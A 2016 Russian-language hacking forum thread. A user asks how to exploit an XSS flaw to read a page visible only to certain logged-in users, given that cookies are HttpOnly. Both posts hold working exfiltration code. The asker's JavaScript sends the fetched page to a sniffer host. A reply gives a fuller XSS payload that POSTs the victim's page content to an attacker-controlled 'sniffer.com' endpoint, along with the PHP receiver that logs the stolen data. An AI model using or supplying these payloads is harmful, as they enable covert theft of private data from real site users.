XSS , скачать документ, или страницу.

Discussion in 'Песочница' started by sergei_petrovish, 20 Apr 2016.

  1. sergei_petrovish

    sergei_petrovish New Member

    Joined:
    24 Jan 2016
    Messages:
    31
    Likes Received:
    3
    Reputations:
    1
    Есть сайт с xss , и там есть страница с интересным мне контентом. Она видна только конкретным пользователям. Подскажите как можно эту страницу увидеть "глазами пользователя" или скачать. Куки достать там не получится , они с флагом. Адрес страницы такого типа site.com/wow.php . На форуме находил варианты скриптов , но они не работают Этот скрипт должен отправить весь ответ , но не срабатывает.
    PHP:
    var xhr = new XMLHttpRequest();
    xhr.open('GET''//site/phpinfo.php'true);
    xhr.send(null);
    xhr.onreadystatechange = function() {
        if (
    xhr.readyState == 4) {
            if(
    xhr.status == 200) {
                (new 
    Image()).src="//%сниффер%/?"+xhr.responseText
            
    }
        }
    }

    ДУмал что проблемма в снифере , но перепробовав огромное количество , поучаю тот же результат .Пару раз получил обрезанный сильно ответ . Может нужно по особенному настроить снифер ?.
     
  2. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Попробуй escape(btoa(xhr.responseText))
     
    #2 crlf, 21 Apr 2016
    Last edited: 21 Apr 2016
  3. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Файл может не влезть в GET запрос по причине 414-ой ошибки. Вот что надумал:

    PHP:
    <html>
    <
    script>
       var 
    xhr = new XMLHttpRequest();
       
    xhr.open('GET''http://victim.com/phpinfo.php'true);
       
    xhr.send(null);
       
    xhr.onreadystatechange = function() {
      if (
    xhr.readyState == 4) {
      if(
    xhr.status == 200) {
               var 
    fhr = new XMLHttpRequest();
               
    fhr.open('POST''http://sniffer.com/s.php'true);
               
    fhr.setRequestHeader('Content-Type''application/x-www-form-urlencoded');
               
    fhr.withCredentials true;
               var 
    body 'file=' escape(xhr.responseText);
               var 
    aBody = new Uint8Array(body.length);
               for (var 
    0aBody.lengthi++)
                 
    aBody[i] = body.charCodeAt(i);
               
    fhr.send(new Blob([aBody]));
      }
      }
    }
    </script>
    </html>
    s.php:
    PHP:
    <?php
    header
    ('Access-Control-Allow-Origin: http://victim.com');
    header('Access-Control-Allow-Credentials: true');
    header('Access-Control-Allow-Methods: OPTIONS, GET, POST');
    header('Access-Control-Allow-Headers: Content-Type, Depth, User-Agent, X-File-Size, X-Requested-With, If-Modified-Since, X-File-Name, Cache-Control');
      
    file_put_contents('./log.html'urldecode($_POST['file'])."<hr>"FILE_APPEND);
    ?>

     
    shell_c0de likes this.